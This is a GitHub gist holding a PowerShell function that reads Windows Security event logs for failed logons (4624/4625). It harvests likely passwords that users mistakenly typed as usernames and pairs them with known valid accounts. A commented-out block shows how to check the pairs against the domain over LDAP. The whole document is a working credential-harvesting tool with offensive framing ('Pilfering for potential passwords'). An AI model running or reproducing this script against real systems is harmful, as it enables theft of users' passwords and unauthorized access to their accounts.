Skip to content

Instantly share code, notes, and snippets.

@picheljitsu
Created July 10, 2018 21:14
Show Gist options
  • Select an option

  • Save picheljitsu/f69bc13d211e9d6a37b4a87bb7b7d749 to your computer and use it in GitHub Desktop.

Select an option

Save picheljitsu/f69bc13d211e9d6a37b4a87bb7b7d749 to your computer and use it in GitHub Desktop.
Harvesting Eventlog passwords due to human-error
function Test-EventLogPasswords {
[CmdletBinding(DefaultParameterSetName='StartEnd')]
param([parameter( Mandatory=$false)]
[string]$ComputerName=$env:COMPUTERNAME,
[parameter( Mandatory=$false)]
[string]$Domain=(Get-WmiObject Win32_ComputerSystem).Domain,
#Known accounts to ignore or accounts that don't meet the domain's naming
#convention, but are known accounts (e.g. built-in, svc accounts)
[parameter( Mandatory=$false)]
[array]$IgnoreAccounts,
#Regex that matches the target domain's user account naming convention
[parameter( Mandatory=$false)]
[regex]$AcctRegex,
[parameter( ParameterSetName='StartEnd', Mandatory=$false, position=0)]
[datetime]$StartTime,
[parameter( ParameterSetName='StartEnd', Mandatory=$false, position=1)]
[datetime]$EndTime=$(Get-date),
[parameter( ParameterSetName='TimeBack', Mandatory=$false, position=0)]
[int]$HoursBack,
[parameter( ParameterSetName='TimeBack', Mandatory=$false, position=1)]
[int]$DaysBack )
#Set the start and endtime. 0 is assumed if the starttime isn't set AND
#the HoursBack/DaysBack parameter set isn't used. Endtime is always assumed as
#current time if none set.
if($StartTime){ $start = $StartTime }
elseif(!$StartTime) { $start = 0 }
elseif($HoursBack ) { $start = (get-date).AddHours($HoursBack * -1) }
elseif($DaysBack ) { $start = (get-date).AddDays($DaysBack * -1) }
elseif($HoursBack -AND $DaysBack){
$start = ((get-date).AddDays($DaysBack * -1)).AddHours($HoursBack * -1)
}
write-verbose "[*] Pilfering for potential passwords accidentally inputted as usernames..."
#Search event logs 4625 for bad logon names to search where a user may
#have entered their password as a username
$FailLogons = Get-EventLog -ComputerName $ComputerName `
-LogName Security `
-InstanceId 4625 `
-ErrorAction SilentlyContinue | `
Where-Object {
$_.TimeGenerated -gt $start -and $_.TimeGenerated -lt $endtime }
#Only continue if we found some bad logins that don't match the domain's naming convention
if($FailLogons){
write-verbose "[+] Found some!"
write-verbose "[*] Looking for previously used successful logins on target..."
$SuccessLogons = Get-EventLog -ComputerName $ComputerName `
-LogName Security `
-InstanceId 4624 `
-ErrorAction SilentlyContinue | `
Where-Object {
$_.TimeGenerated -gt $start -and $_.TimeGenerated -lt $endtime }
$GoodAccounts = @()
$BadAccounts = @()
$output = @()
ForEach($domainID in $SuccessLogons){
$AcctStr = ($domainID.replacementstrings[5]).ToLower()
if(($AcctStr -match $AcctRegex) -AND ($AcctStr -notin $GoodAccounts) -AND ($AcctStr -notin $IgnoreAccounts)){
$GoodAccounts += $AcctStr
}
}
ForEach($domainID in $FailLogons){
$AcctStr = ($domainID.replacementstrings[5]).ToLower()
if(($AcctStr -notmatch $AcctRegex) -AND ($AcctStr -notin $BadAccounts) -AND ($AcctStr -notin $IgnoreAccounts)){
$BadAccounts += $AcctStr
}
}
if($BadAccounts){
write-verbose "[+] Found some usernames that didn't meet the domain's naming convention."
sleep 1
write-verbose "[*] Generating all possible combinations..."
ForEach($GoodAccount in $GoodAccounts){
ForEach($BadAccount in $BadAccounts){
$a = New-Object PSObject
$a | Add-Member -Name "ComputerName" -MemberType NoteProperty -Value $ComputerName
$a | Add-Member -Name "KnownGoodAccount" -MemberType NoteProperty -Value $GoodAccount
$a | Add-Member -Name "PossiblePassword" -MemberType NoteProperty -Value $BadAccount
#Here you could add some logic to test the credentials, but if you try too many time you could lock the account out
#$d = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$domain",$GoodAccount,$BadAccount)
#$Valid = $false
#if($d.path){ $Valid = $True }
#$a | Add-Member -Name "ValidCredential" -MemberType NoteProperty -Value $Valid
$output += $a
}
}
}
else{ write-verbose "[-] All of the found username's match the domain's naming convention." }
$output
}
else { write-verbose "[-] Didn't find any failed logins. Exiting..." }
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment